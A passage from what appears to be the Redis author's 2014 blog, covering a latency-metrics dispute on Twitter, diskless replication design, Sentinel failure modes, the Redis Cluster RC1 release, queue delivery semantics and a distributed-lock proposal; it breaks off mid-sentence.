  Yesterday Stripe engineers wrote a detailed report of why they had an issue with Redis. This is very appreciated. In the Hacker News thread I explained that because now we have diskless replication (http://antirez.com/news/81) now persistence is no longer mandatory for people having a master-slaves replicas set. This changes the design constraints: now that we can have diskless replicas synchronization, it is worth it to better support the Stripe (ex?) use case of replicas set with persistence turned down, in a more safe way. This is a work in progress effort. In the same post Stripe engineers said that they are going to switch to PostgreSQL for the use case where they have issues with Redis, which is a great database indeed, and many times if you can go with the SQL data model and an on-disk database, it is better to use that instead of Redis which is designed for when you really want to scale to a lot of complex operations per second. Stripe engineers also said that they measured the 99th percentile and it was better with PostgreSQL compared to Redis, so in a tweet @aphyr wrote: “Note that *synchronous* Postgres replication *between AZs* delivers lower 99th latencies than asynchronous Redis” And I replied: “It could be useful to look at average latency to better understand what is going on, since I believe the 99% percentile is very affected by the latency spikes that Redis can have running on EC2.” Which means, if you have also the average, you can tell if the 99th percentile is ruined (or not) by latency spikes, that many times can be solved. Usually it is as simple as that: if you have a very low average, but the 99th percentile is bad, likely it is not that Redis is running slow because, for example, operations performed are very time consuming or blocking, but instead a subset of queries are served slow because of the usual issues in EC2: fork time in certain instances, remote disks I/O, and so forth. Stuff that you can likely address, since for example, there are instance types without the fork latency issue. For half the Twitter IT community, my statement was to promote the average latency as the right metric over 99th percentiles: "averages are the worst possible metric for latency. No latency I've ever seen falls on a bell curve. Averages give nonsense." "You have clearly not understood how the math works or why tail latencies matter in dist sys. I think we're done here." “indeed; the problem is that averages are not robust in the presence of outliers” Ehm, who said that average is a good metric? I proposed it to *detect* if there are or not big outliers. So during what was supposed to be a normal exchange, I find after 10 minutes my Twitter completely full of people that tell me that I’m an idiot to endorse averages as The New Metric For Latency in the world. Once you get the first retweets, you got more and more. Even a notable builder of other NoSQL database finds the time to lecture me a few things via Twitter: I reply saying that clearly what I wrote was that if you have 99th + avg you have a better picture of the curve and can understand if the problem is the Redis spikes on EC2, but magically the original tweet gets removed, so my tweets are now more out of context. My three tweets: 1. “may point was, even if in the internet noise I'm not sure if it is still useful, that avg helps to understand why (…)” 2. “the 99% percentile is bad. If avg is very good but 99% percentile is bad, you can suspect a few very bad samples” 3. “this is useful with Redis, since with proper config sometimes you can improve the bad latency samples a lot.” Guess what? There is even somebody that isolated tweet #2 that was the continuation of “to understand why the 99% percentile is bad” (bad as in, is not providing good figures), and just read it out of context: “the 99% percentile is bad”. Once upon a time, people used to argue for days on usenet, but at least there was, most of the times, an argument against a new argument and so forth, with enough text and context to have a normal condition. This instead is just amplification of hate and engineering rules 101 together. 99th latency is the right metric and average is a poor one? Make sure to don’t talk about averages even in a context where it makes sense otherwise you get 10000 shitty replies. What to do with that? Now a good thing about me is that I’m not much affected by all this personally, but it is also clear that because I use Twitter for a matter of work, in order to inform people of what is happening with Redis, this is not a viable working environment. For example, latency: I care a lot about latency, so many efforts were done during the years in order to improve it (including diskless replication). We have monitoring as well in order to understand if and why there are latency spikes, Redis can provide you an human readable report of what is happening inside of it by monitoring different execution paths. After all this work, what you get instead is the wrong message retweeted one million times, which does not help. Most people will not follow the tweets to make an idea themselves, the reality is, at this point, rewritten: I said that average percentile is good and I don’t realize that you should look at the long tail. Next time I’ll talk about latency, for many people, I’ll be the one that has a few non clear ideas about it, so who knows what I’m talking about or what I’m doing? At the same time Twitter is RSS for humans, it is extremely useful to keep many people updated about what I love to do, which is, to work to my open source project that so far I tried to develop with care. So I’m trying to think about what a viable setup can be. Maybe I can just blog more, and use the Redis mailing list more, and use Twitter just to link stuff so that interested people can read, and interested people can argue and have real and useful discussions. I’ve a lot of things to do about Redis, for the users that have a good time with it, and a lot of things to do for the users that are experiencing problems. I feel like my time is best spent hacking instead of having non-conversations on Twitter. I love to argue, but this is just a futile exercise. Comments

• Diskless replication: a few design notes.
  Oct 27, 2014

  Almost a month ago a number of people interested in Redis development met in London for the first Redis developers meeting. We identified together a number of features that are urgent (and are now listed in a Github issue here: https://github.com/antirez/redis/issues/2045), and among the identified issues, there was one that was mentioned multiple times in the course of the day: diskless replication. The feature is not exactly a new idea, it was proposed several times, especially by EC2 users that know that sometimes it is not trivial for a master to provide good performances during slaves synchronization. However there are a number of use cases where you don’t want to touch disks, even running on physical servers, and especially when Redis is used as a cache. Redis replication was, in short, forcing users to use disk even when they don’t need or want disk durability. When I returned back home I wanted to provide a quick feedback to the developers that attended the meeting, so the first thing I did was to focus on implementing the feature that seemed the most important and non-trivial among the list of identified issues. In the next weeks the attention will be moved to the Redis development process as well: the way issues are handled, how new ideas can be proposed to the Redis project, and so forth. Sorry for the delay about these other important things, for now what you can get is, some code at least ;-) Diskless replication provided a few design challenges. It looks trivial but it is not, so since I want to blog more, I thought about documenting how the internals of this feature work. I’m sure that a blog post may make the understanding and adoption of the new feature simpler. How replication used to work === Newer versions of Redis are able, when the connection with the master is lost, to reconnect with the master, and continue the replication process in an incremental way just fetching the differences accumulated so far. However when a slave is disconnected for a long time, or restarted, or it is a new slave, Redis requires it to perform what is called a “full resynchronization”. It is a trivial concept, and means: in order to setup this slave, let’s transfer *all* the master data set to the slave. It will flush away its old data, and reload the new data from scratch, making sure it is running an exact copy of master’s data. Once the slave is an exact copy of the master, successive changes are streamed as a normal Redis commands, in an incremental way, as the master data set itself gets modified because of write commands sent by clients. The problem was the way this initial “bulk transfer” needed for a full resynchronization was performed. Basically a child process was created by the master, in order to generate an RDB file. When the child was done with the RDB file generation, the file was sent to slaves, using non blocking I/O from the parent process. Finally when the transfer was complete, slaves could reload the RDB file and go online, receiving the incremental stream of new writes. However this means that from the master point of view, in order to perform a full sync, we need: 1) To write the RDB on disk. 2) To load back the RDB from disk in order to send it to slaves. “2” is not great but “1” is much worse. If AOF is active at the same time, for example, the AOF fsync() can be delayed a lot by the child writing to the disk as fast as possible. With the wrong setup, especially with non-local disks, but sometimes even because of a non perfect kernel parameters tuning, the disk pressure was cause of latency spikes that are hard to deal with. Partial resynchronizations introduced with Redis 2.8 mitigated this problem a bit, but from time to time you have to restart your slaves, or they go offline for too much time, so it is impossible to avoid full resynchronizations. At the same time, this process had a few advantages. The RDB saving code was reused for replication as well, making the replication code simpler. Moreover while the child was producing the RDB file, new slaves could attach, and put in a queue: when the RDB was ready, we could feed multiple slaves at the same time. All in all in many setups it works great and allows to synchronize a number of slaves at the same time. Also many users run with RDB persistence enabled in the master side, but not AOF, so anyway to persist on disk was happening from time to time. Most bare-metal users don’t have any latency at all while Redis is persisting, moreover disks, especially local disks, have easy to predict performances: once the child starts to save, you don’t really need to check for timeouts or if it is taking too much time, it will end eventually, and usually within a reasonable amount time. For this reasons, disk-backed replication is *still* the default replication strategy, and there are no plans to remove it so far, but now we have an alternative in order to serve the use cases where it was not great. So what is diskless replication? It is the idea that you can write directly from the child process to the slaves, via socket, without any intermediate step. Sockets are not disks === The obvious problem about diskless replication is that writing to disks is different than writing to sockets. To start the API is different, since the RDB code used to write to C FILE pointers, while to write to sockets is a matter of writing to file descriptors. Moreover disk writes don’t fail if not for hard I/O errors (for example if the disk is full), so when a write fails, you can consider the process aborted. For sockets it is different since writes can be delayed since the receiver is slow and the local kernel buffer is full. Another interesting issue is that there is to deal with timeouts: what about the receiving side to experience a failure so that it stops reading from us? Or just the TCP connection is dead but we don’t get resets, and so forth. We can’t take the child sending the RDB file to slaves active forever, there must be a way to detect timeouts. Fortunately modifying the RDB code to write to file descriptors was trivial, because for an entirely different problem (MIGRATE/RESTORE for Redis Cluster) the code was already using an abstraction called “rio” (redis I/O), that abstracts the serialization and deserialization of Redis values in RDB format, so you can write a value to the disk, or to an in memory buffer. What I did was to support a new “rio” target, called fdset: a set of file descriptors. This is because as I’ll write later, we need to write to multiple file descriptors at the same time. However this was not enough. One of the main design tradeoffs was to understand if the in memory RDB transfer would happen in one of the following two ways: 1) Way #1: produce a full RDB file in memory inside a buffer, than transfer it. 2) Way #2: directly write to slaves sockets, incrementally, as the RDB was created. Way #1 is a lot simpler since it is basically like the on-disk writing stuff, but in a kind of RAM disk. However the obvious risk is using too much memory. Way #2 is a bit more risky, because you have to transfer while the child producing the RDB file is active. However the essence of the feature was to target environments with slow disks perhaps, but *with fast networks*, without requiring too much additional memory, otherwise the feature risks to be useless. So Way #2 was selected. However if you stream an RDB file like this, there is a new problem to solve… how will the slave understand that EOF is reached? We don’t know, when we start the transfer, how big the transfer will be. With on-disk replication instead the size was known, so the transfer happened using just a Redis protocol “bulk” string, with prefixed length. Something like: $92384923423\r\n … data follows … I was too lazy to implement some complex chunked protocol to announce incremental blocks sizes, so went for a more brute force approach. The master generates an unguessable and unlikely to collide 160 bits random string, and sends something like that to the slave: $EOF:796f255829a040e80168f94c9fe7eda16b35e5df\r\n … data follows … 796f255829a040e80168f94c9fe7eda16b35e5df So basically this string, which is guaranteed (just because of infinitesimal probability) to never collide with anything inside the file, is used as the end of file mark. Trivial but works very well, and is simple. For timeouts, since it is a blocking write process (since we are in the context of the saving child process), I just used the SO_SNDTIMEO socket option. This way we are sure that we need to make progresses, otherwise the replication process is aborted. So for now there is no way to have an hard time limit for the child lifespan, and there are in theory pathological conditions where the slave would accept just one byte every timeout-1 seconds, to create a very slow transfer setup. Probably in the future the child will monitor the transfer rate, and if it drops under a reasonable figure, will exit with an error. Serving multiple slaves at the same time === Another goal of this implementation was to be able to serve multiple slaves at the same time. At first this looks impossible since once the RDB transfer starts, new slaves can’t attach, but need to wait for the current child to stop and a new one to start. However there is a very simple trick that covers a lot of use cases, which is, once the first slave want to replicate, we wait a few seconds for others to arrive as well. This covers the obvious case of a mass resync from multiple slaves for example. Because of this, the I/O code was designed in order to write to multiple file descriptors at the same time. Moreover in order to parallelize the transfer even if blocking I/O is used, the code tries to write a small amount of data to each fd in a loop, so that the kernel will send the packets in the background to multiple slaves at the same time. Probably the code itself is pretty easy to understand: while(len) { size_t count = len int broken = 0; for (j = 0; j io.fdset.numfds; j++) { … error checking removed … /* Make sure to write 'count' bytes to the socket regardless * of short writes. */ size_t nwritten = 0; while(nwritten != count) { retval = write(r->io.fdset.fds[j],p+nwritten,count-nwritten); if (retval … error checkign removed … } nwritten += retval; } } p += count; len -= count; r->io.fdset.pos += count; … more error checking removed … } Note that writes are bufferized by the rio.c write target, since we want to write only when a given amount of data is available, otherwise we risk to send TCP packets with 5 bytes of data inside. Handling partial failures === Handling multiple slaves is not just writing to multiple FDs, which is quite simple. A big part of the story is actually to handle a few slaves failing without requiring to block the process for all the other slaves. File descriptors in error are marked with the related error code, and no attempt is made to write to them again. Also the code detects if all the FDs are in error, and abort the process at all. However when the RDB writing is terminated, the child needs to report what are the slaves that received the RDB and can continue the replication process. For this task, a unix pipe is used between the processes. The child returns an array of slave IDs and associated error state, so that the parent can do a decent job at logging errors as well. How this changes Redis is a more deep way I thought === Diskless replication finally allows for a totally disk-free experience in Redis master-slaves sets. This means we need to support this use case better. Currently replication is dangerous to run with persistence disabled, since I thought there was not a case for turning off persistence when anyway replication was going to trigger it. But now this changed… and as a result, there are already plans to support better replication in a non-disk backed environment. The same will be applied to Redis Cluster as well… which is also a good candidate for diskless operations, especially for caching use cases, where replicas can do a good job to provide data redundancy, but where it may not be too critical if crash-restart of multiple instances cause data loss of a subset of hash slots in the cluster. ETA === The code is already available in beta here: https://github.com/antirez/redis/commits/memsync It will be merged into unstable in the next days, but the plan is to wait a bit for feedbacks and bug reports, and later merge into 3.0 and 2.8 as well. The feature is very useful and it has little interactions with the rest of the Redis core when it is turned off. The plan is to just back port it everywhere and release it as “experimental” for some time. Comments

• A few arguments about Redis Sentinel properties and fail scenarios.
  Oct 21, 2014

  Yesterday distributed systems expert Aphyr, posted a tweet about a Redis Sentinel issue experienced by an unknown company (that wishes to remain anonymous): “OH on Redis Sentinel "They kill -9'd the master, which caused a split brain..." “then the old master popped up with no data and replicated the lack of data to all the other nodes. Literally had to restore from backups." OMG we have some nasty bug I thought. However I tried to get more information from Kyle, and he replied that the users actually disabled disk persistence at all from the master process. Yep: the master was configured on purpose to restart with a wiped data set. Guess what? A Twitter drama immediately started. People were deeply worried for Redis users. Poor Redis users! Always in danger. However while to be very worried is a trait of sure wisdom, I want to take the other path: providing some more information. Moreover this blog post is interesting to write since actually Kyle, while reporting the problem with little context, a few tweets later was able to, IMHO, isolate what is the true aspect that I believe could be improved in Redis Sentinel, which is not related to the described incident, and is in my TODO list for a long time now. But before, let’s check a bit more closely the behavior of Redis / Sentinel about the drama-incident. Welcome to the crash recovery system model === Most real world distributed systems must be designed to be resilient to the fact that processes can restart at random. Note that this is very different from the problem of being partitioned away, which is, the inability to exchange messages with other processes. It is, instead, a matter of losing state. To be more accurate about this problem, we could say that if a distributed algorithm is designed so that a process must guarantee to preserve the state after a restart, and fails to do this, it is technically experiencing a bizantine failure: the state is corrupted, and the process is no longer reliable. Now in a distributed system composed of Redis instances, and Redis Sentinel instances, it is fundamental that rebooted instances are able to restart with the old data set. Starting with a wiped data set is a byzantine failure, and Redis Sentinel is not able to recover from this problem. But let’s do a step backward. Actually Redis Sentinel may not be directly involved in an incident like that. The typical example is what happens if a misconfigured master restarts fast enough so that no failure is detected at all by Sentinels. 1. Node A is the master. 2. Node A is restarted, with persistence disabled. 3. Sentinels (may) see that Node A is not reachable… but not enough to reach the configured timeout. 4. Node A is available again, except it restarted with a totally empty data set. 5. All the slave nodes B, C, D, ... will happily synchronize an empty data set form it. Everything wiped from the master, as per configuration, after all. And everything wiped from the slaves, that are replicating from what is believed to be the current source of truth for the data set. Let’s remove Sentinel from the equation, which is, point “3” of the above time line, since Sentinel did not acted at all in the example scenario. This is what you get. You have a Redis master replicating with N slaves. The master is restarted, configured to start with a fresh (empty) data set. Salves replicate again from it (an empty data set). I think this is not a big news for Redis users, this is how Redis replication works: slaves will always try to be the exact copy of their masters. However let’s consider alternative models. For example Redis instances could have a Node ID which is persisted in the RDB / AOF file. Every time the node restarts, it loads its Node ID. If the Node ID is wrong, slaves wont replicate from the master at all. Much safer right? Only marginally, actually. The master could have a different misconfiguration, so after a restart, it could reload a data set which is weeks old since snapshotting failed for some reason. So after a bad restart, we still have the right Node ID, but the dataset is so old to be basically, the same as being wiped more or less, just more subtle do detect. However at the cost of making things only marginally more secure we now have a system that may be more complex to operate, and slaves that are in danger of not replicating from the master since the ID does not match, because of operational errors similar to disabling persistence, except, a lot less obvious than that. So, let’s change topic, and see a failure mode where Sentinel is *actually* involved, and that can be improved. Not all replicas are the same === Technically Redis Sentinel offers a very limited set of simple to understand guarantees. 1) All the Sentinels will agree about the configuration as soon as they can communicate. Actually each sub-partition will always agree. 2) Sentinels can’t start a failover without an authorization from the majority of Sentinel processes. 3) Failovers are strictly ordered: if a failover happened later in time, it has a greater configuration “number” (config epoch in Sentinel slang), that will always win over older configurations. 4) Eventually the Redis instances are configured to map with the winning logical configuration (the one with the greater config epoch). This means that the dataset semantics is “last failover wins”. However the missing information here is, during a failover, what slave is picked to replace the master? This is, all in all, a fundamental property. For example if Redis Sentinel fails by picking a wiped slave (that just restarted with a wrong configuration), *that* is a problem with Sentinel. Sentinel should make sure that, even within the limits of the fact that Redis is an asynchronously replicated system, it will try to make the best interest of the user by picking the best slave around, and refusing to failover at all if there is no viable slave reachable. This is a place where improvements are possible, and this is what happens today to select a slave when the master is failing: 1) If a slaves was restarted, and never was connected with the master after the restart, performing a successful synchronization (data transfer), it is skipped. 2) If the slave is disconnected from its master for more than 10 times the configured timeout (the time a master should be not reachable for the set of Sentinels to detect a master as failing), it is considered to be non elegible. 3) Out of the remaining slaves, Sentinel picks the one with the best “replication offset”. The replication offset is a number that Redis master-slave replication uses to take a count of the amount of bytes sent via the replication channel. it is useful in many ways, not just for failovers. For example in partial resynchronizations after a net split, slaves will ask the master, give me data starting from offset X, which is the last byte I received, and so forth. However this replication number has two issues when used in the context of picking the best slave to promote. 1) It is reset after restarts. This sounds harmless at first, since we want to pick slaves with the higher number, and anyway, after a restart if a slave can’t connect, it is skipped. However it is not harmless at all, read more. 2) It is just a number: it does not imply that a Redis slave replicated from *a given* master. Also note that when a slave is promoted to master, it inherits the master’s replication offset. So modulo restarts, the number keeps increasing. Why “1” and/or “2” are suboptimal choices and can be improved? Imagine this setup. We have nodes A B C D E. D is the current master, and is partitioned away with E in a minority partition. E still replicates from D, everything is fine from their POV. However in the majority partition, A B C can exchange messages, and A is elected master. Later A restarts, resetting its offset. B and C replicate from it, starting again with lower offsets. After some time A fails, and, at the same time, E rejoins the majority partition. E has a data set that is less updated compared to the B and C data set, however its replication offset is higher. Not just that, actually E can claim it was recently connected to its master. To improve upon this is easy. Each Redis instance has a “runid”, an unique ID that changes for each new Redis run. This is useful in partial resynchronizations in order to avoid getting an incremental stream from a wrong master. Slaves should publish what is the last master run id they replicated successful from, and Sentinel failover should make sure to only pick slaves that replicated from the master they are actually failing over. Once you tight the replication offset to a given runid, what you get is an *absolute* meter of how much updated a slave is. If two slaves are available, and both can claim continuity with the old master, the one with the higher replication offset is guaranteed to be the best pick. However this also creates availability concerns in all the cases where data is not very important but availability is. For example if when A crashes, only E becomes available, even if it used to replicate from D, it is still better than nothing. I would say that when you need an highly available cache and consistency is not a big issue, to use a Redis cluster ala-memcached (client side consistent hashing among N masters) is the way to go. Note that even without checking the runid, to make the replication offsets durable after a restart, already improves the behavior considerably. In the above example E would be picked only if when isolated in a minority partition with the slave, received more writes than the other slaves in the majority side. TLDR: we have to fix this. It is not related to restarting masters without a dataset, but is useful to have a more correct implementation. However this will limit only a class of very-hard-to-trigger issues. This is in my TODO list for some time now, and congrats to Aphyr for identifying a real implementation issue in a matter of a few tweets exchanged. About the failure reported by Aphyr from the unknown company, I don’t think it is currently viable to try to protect against serious misconfigurations, however it is a clear sign that we need better Sentinel docs which are more incremental compared to the ones we have now, that try to describe how the system works. A wiser approach could be to start with a common sane configuration, and “don’t do” list like, don’t turn persistence off, unless you are ok with wiped instances. Comments

• Redis cluster, no longer vaporware.
  Oct 09, 2014

  The first commit I can find in my git history about Redis Cluster is dated March 29 2011, but it is a “copy and commit” merge: the history of the cluster branch was destroyed since it was a total mess of work-in-progress commits, just to shape the initial idea of API and interactions with the rest of the system. Basically it is a roughly 4 years old project. This is about two thirds the whole history of the Redis project. Yet, it is only today, that I’m releasing a Release Candidate, the first one, of Redis 3.0.0, which is the first version with Cluster support. An erratic run — To understand why it took so long is straightforward: I started the cluster project with a lot of rush, in a moment where it looked like Redis was going to be totally useless without an automatic way to scale. It was not the right moment to start the Cluster project, simply because Redis itself was too immature, so we didn't yet have a solid “single instance” story to tell. While I did the error of starting a project with the wrong timing, at least I didn’t fell in the trap of ignoring the requests arriving from the community, so the project was stopped and stopped an infinite number of times in order to provide more bandwidth to other fundamental features. Persistence, replication, latency, introspection, received a lot more care than cluster, simply because they were more important for the user base. Another limit of the project was that, when I started it, I had no clue whatsoever about distributed programming. I did a first design that was horrible, and managed to capture well only what were the “products” requirement: low latency, linear scalability and small overhead for small clusters. However all the details were wrong, and it was far more complex than it had to be, the algorithms used were unsafe, and so forth. While I was doing small progresses I started to study the basics of distributed programming, redesigned Redis Cluster, and applied the same ideas to the new version of Sentinel. The distributed programming algorithms used by both systems are still primitive since they are asynchronous replicated, eventually consistent systems, so I had no need to deal with consensus and other non trivial problems. However even when you are addressing a simple problem, compared to writing a CP store at least, you need to understand what you are doing otherwise the resulting system can be totally wrong. Despite all this problems, I continued to work at the project, trying to fix it, fix the implementation, and bring it to maturity, because there was this simple fact, like an elephant into a small room, permeating all the Redis Community, which is: people were doing again and again, with their efforts, and many times in a totally broken way, two things: 1) Sharding the dataset among N nodes. 2) A responsive failover procedure in order to survive certain failures. Problem “2” was so bad that at some point I decided to start the Redis Sentinel project before Cluster was finished in order to provide an HA system ASAP, and one that was more suitable than Redis Cluster for the majority of use cases that required just “2” and not “1”. Finally I’m starting to see the first real-world result of this efforts, and now we have a release candidate that is the fundamental milestone required to get adoption, fix the remaining bugs, and improve the system in a more incremental way. What it actually does? — Redis Cluster is basically a data sharding strategy, with the ability to reshard keys from one node to another while the cluster is running, together with a failover procedure that makes sure the system is able to survive certain kinds of failures. From the point of view of distributed databases, Redis Cluster provides a limited amount of availability during partitions, and a weak form of consistency. Basically it is neither a CP nor an AP system. In other words, Redis Cluster does not achieve the theoretical limits of what is possible with distributed systems, in order to gain certain real world properties. The consistency model is the famous “eventual consistency” model. Basically if nodes get desynchronized because of partitions, it is guaranteed that when the partition heals, all the nodes serving a given key will agree about its value. However the merge strategy is “last failover wins”, so writes received during network partitions can be lost. A common example is what happens if a master is partitioned into a minority partition with clients trying to write to it. If when the partition heals, in the majority side of the partition a slave was promoted to replace this master, the writes received by the old master are lost. This in turn means that Redis Cluster does not have to take meta data in the data structures in order to attempt a value merge, and that the fancy commands and data structures supported by Redis are also supported by Redis Cluster. So no additional memory overhead, no API limits, no limits in the amount of elements a value can contain, but less safety during partitions. It is trivial to understand that in a system designed like Redis Cluster is, nodes diverging are not good, so the system tries to mitigate its shortcomings by trying to limit the probability of two nodes diverging (and the amount of divergence). This is achieved in a few ways: 1) The minority side of a partition becomes not available. 2) The replication is designed so that usually the reply to the client, and the replication stream to slaves, is sent at the same time. 3) When multiple slaves are available to failover a master, the system will try to pick the one that appears to be less diverging from the failed master. This strategies don’t change the theoretical properties of the system, but add some more real-world protection for the common Redis Clusters failure modes. For the Redis API and use case, I believe this design makes sense, but in the past many disagreed. However my opinion is that each designer is free to design a system as she or he wishes, there is just one rule: say the truth, so Redis Cluster documents its limits and failure modes clearly in the official documentation. It’s the user, and the use case at hand, that will make a system useful or not. My feeling is that after six years users continued to use Redis even without any clustering support at all, because the use case made this possible, and Redis offers certain specific features and performances that made it very suitable to address certain problems. My hope is that Redis Cluster will improve the life of many of those users. The road ahead — Finally we have a minimum viable product to ship, which is stable enough for users to seriously start testing and in certain cases adopt it already. The more adoption, the more we improve it. I know this from Redis and Sentinel: now there is the incremental process that moves a software forward from usable to mature. Listening to users, fixing bugs, covering more code in tests, … At the same time, I’m starting to think at the next version of Redis Cluster, improving v1 with many useful things that was not possible to add right now, like multi data center support, more write safety in the minority partition using commands replay, automatic nodes balancing (now there is to reshard manually if certain nodes are too empty and other too full), and many more things. Moreover, I believe Redis Cluster could benefit from a special execution mode specifically designed for caching, where nodes accept writes to hash slots they are not in charge for, in order to stay available in a minority partition. There is always time to improve and fix our implementation and designs, but focusing too much on how we would like some software to be, has the risk of putting it in the vaporware category for far longer than needed. It’s time to let it go. Enjoy Redis Cluster! Redis Cluster RC1 is available both as '3.0.0-rc1' tag at Github, or as a tarball in the Redis.io download page at http://redis.io/download Comments

• Queues and databases
  Jul 14, 2014

  Queues are an incredibly useful tool in modern computing, they are often used in order to perform some possibly slow computation at a latter time in web applications. Basically queues allow to split a computation in two times, the time the computation is scheduled, and the time the computation is executed. A “producer”, will put a task to be executed into a queue, and a “consumer” or “worker” will get tasks from the queue to execute them. For example once a new user completes the registration process in a web application, the web application will add a new task to the queue in order to send an email with the activation link. The actual process of sending an email, that may require retrying if there are transient network failures or other errors, is up to the worker. Technically speaking we can think at queues as a form of inter-process messaging primitive, where the receiving process needs to acknowledge the reception of the message. Messages can not be fire-and-forget, since the queue needs to understand if the message can be removed from the queue, so some form of acknowledgement is strictly required. When receiving a message triggers the execution of a task, like it happens in the kind of queues we are talking about, the moment the message reception is acknowledged changes the semantic of the queue. When the worker process acknowledges the reception of the message *before* processing the message, if the worker fails the message can be lost before the task is performed at all. If the acknowledge is sent only *after* the message gets processed, if the worker fails or because of network partitions the queue may re-deliver the message again. This happens whatever the queue consistency properties are, so, even if the queue is modeled using a system providing strong consistency, the indetermination still holds true: * If messages are acknowledged before processing, the queue will have an at-most-once delivery property. This means messages can be processed zero or one time. * If messages are acknowledged after processing, the queue will have an at-least-once delivery property. This means messages can be processed from 1 to infinite number of times. While both of this cases are not perfect, in the real world the second behavior is often preferred, since it is usually much simpler to cope with the case of multiple delivery of the message (triggering multiple executions of the task) than a system that from time to time does not execute a given task at all. An example of at-least-once delivery system is Amazon SQS (Simple Queue Service). There is also a fundamental reason why at-least-once delivery systems are to be preferred, that has to do with distributed systems: the other semantics (at-most-once delivery) requires the queue to be strongly consistent: once the message is acknowledged no other worker must be able to acknowledge the same message, which is a strong property. Once we move our focus to at-least-once delivery systems, we may notice that to model the queue with a CP system is a waste, and also a disadvantage: * Anyway, we can’t guarantee more than at-least-once delivery. * Our queue lose the ability to work into a minority side of a network partition. * Because of the consistency requirements the queue needs agreement, so we are burning performances and adding latency without any good reason. Since messages may be delivered multiple times, what we want conceptually is a commutative data structure and an eventually consistent system. Messages can be stored into a set data structure replicated into N nodes, with the merge function being the union among the sets. Acknowledges, received by workers after execution of messages, are also conceptually elements of the set, marking a given element as processed. This is a trivial example which is not particularly practical for a real world system, but shows how a given kind of queue is well modeled by a given set of properties of a distributed system. Practically speaking there are other useful things our queue may try to provide: * Guaranteed delivery to a single worker at least for a window of time: while multiple delivery is allowed, we want to avoid it as much as possible. * Best-effort checks to avoid to re-delivery a message after a timeout if the message was already processed. Again, we can’t guarantee this property, but we may try hard to reduce re-issuing a message which was actually already processed. * Enough internal state to handle, during normal operations, messages as a FIFO, so that messages arriving first are processed first. * Auto cleanup of the internal data structures. On top of this we need to retain messages during network partitions, so that conceptually (even if practically we could use different data structures) the set of messages to deliver are the union of all the messages of all the nodes. Unfortunately while many Redis based queues implementations exist, no one try to use N Redis independent nodes and the offered primitives as a building block for a distributed system with such characteristics. Using Redis data structures and performances, and algorithms providing certain useful guarantees, may provide a queue system which is very practical to use, easy to administer and scale, while providing excellent performances (messages / second) per node. Because I find the topic is interesting and this is an excellent use case for Redis, I’m very slowly working at a design for such a Redis based queue system. I hope to show something during the next weeks, time permitting. Comments

• A proposal for more reliable locks using Redis
  May 16, 2014

  ----------------- UPDATE: The algorithm is now described in the Redis documentation here => http://redis.io/topics/distlock. The article is left here in its older version, the updates will go into the Redis documentation instead. ----------------- Many people use Redis to implement distributed locks. Many believe that this is a great use case, and that Redis worked great to solve an otherwise hard to solve problem. Others believe that this is totally broken, unsafe, and wrong use case for Redis. Both are right, basically. Distributed locks are not trivial if we want them to be safe, and at the same time we demand high availability, so that Redis nodes can go down and still clients are able to acquire and release locks. At the same time a fast lock manager can solve tons of problems which are otherwise hard to solve in practice, and sometimes even a far from perfect solution is better than a very slow solution. Can we have a fast and reliable system at the same time based on Redis? This blog post is an exploration in this area. I’ll try to describe a proposal for a simple algorithm to use N Redis instances for distributed and reliable locks, in the hope that the community may help me analyze and comment the algorithm to see if this is a valid candidate. # What we really want? Talking about a distributed system without stating the safety and liveness properties we want is mostly useless, because only when those two requirements are specified it is possible to check if a design is correct, and for people to analyze and find bugs in the design. We are going to model our design with just three properties, that are what I believe the minimum guarantees you need to use distributed locks in an effective way. 1) Safety property: Mutual exclusion. At any given moment, only one client can hold a lock. 2) Liveness property A: Deadlocks free. Eventually it is always possible to acquire a lock, even if the client that locked a resource crashed or gets partitioned. 3) Liveness property B: Fault tolerance. As long as the majority of Redis nodes are up, clients are able to acquire and release locks. # Distributed locks, the naive way. To understand what we want to improve, let’s analyze the current state of affairs. The simple way to use Redis to lock a resource is to create a key into an instance. The key is usually created with a limited time to live, using Redis expires feature, so that eventually it gets released one way or the other (property 2 in our list). When the client needs to release the resource, it deletes the key. Superficially this works well, but there is a problem: this is a single point of failure in our architecture. What happens if the Redis master goes down? Well, let’s add a slave! And use it if the master is unavailable. This is unfortunately not viable. By doing so we can’t implement our safety property of the mutual exclusion, because Redis replication is asynchronous. This is an obvious race condition with this model: 1) Client A acquires the lock into the master. 2) The master crashes before the write to the key is transmitted to the slave. 3) The slave gets promoted to master. 4) Client B acquires the lock to the same resource A already holds a lock for. Sometimes it is perfectly fine that under special circumstances, like during a failure, multiple clients can hold the lock at the same time. If this is the case, stop reading and enjoy your replication based solution. Otherwise keep reading for a hopefully safer way to implement it. # First, let’s do it correctly with one instance. Before to try to overcome the limitation of the single instance setup described above, let’s check how to do it correctly in this simple case, since this is actually a viable solution in applications where a race condition from time to time is acceptable, and because locking into a single instance is the foundation we’ll use for the distributed algorithm described here. To acquire the lock, the way to go is the following: SET resource_name my_random_value NX PX 30000 The command will set the key only if it does not already exist (NX option), with an expire of 30000 milliseconds (PX option). The key is set to a value “my_random_value”. This value requires to be unique across all the clients and all the locks requests. Basically the random value is used in order to release the lock in a safe way, with a script that tells Redis: remove the key only if exists and the value stored at the key is exactly the one I expect to be. This is accomplished by the following Lua script: if redis.call("get",KEYS[1]) == ARGV[1] then return redis.call("del",KEYS[1]) else return 0 end This is important in order to avoid removing a lock that was created by another client. For example a client may acquire the lock, get blocked into some operation for longer than the lock validity time (the time at which the key will expire), and later remove the lock, that was already acquired by some other client. Using just DEL is not safe as a client may remove the lock of another client. With the above script instead every lock is “signed” with a random string, so the lock will be removed only if it is still the one that was set by the client trying to remove it. What this random string should be? I assume it’s 20 bytes from /dev/urandom, but you can find cheaper ways to make it unique enough for your tasks. For example a safe pick is to seed RC4 with /dev/urandom, and generate a pseudo random stream from that. A simpler solution is to use a combination of unix time with microseconds resolution, concatenating it with a client ID, it is not as safe, but probably up to the task in most environments. The time we use as the key time to live, is called the “lock validity time”. It is both the auto release time, and the time the client has in order to perform the operation required before another client may be able to acquire the lock again, without technically violating the mutual exclusion guarantee, which is only limited to a given window of time from the moment the lock is acquired. So now we have a good way to acquire and release the lock. The system, reasoning about a non-distrubited system which is composed of a single instance, always available, is safe. Let’s extend the concept to a distributed system where we don’t have such guarantees. # Distributed version In the distributed version of the algorithm we assume to have N Redis masters. Those nodes are totally independent, so we don’t use replication or any other implicit coordination system. We already described how to acquire and release the lock safely in a single instance. We give for granted that the algorithm will use this method to acquire and release the lock in a single instance. In our examples we set N=5, which is a reasonable value, so we need to run 5 Redis masters in different computers or virtual machines in order to 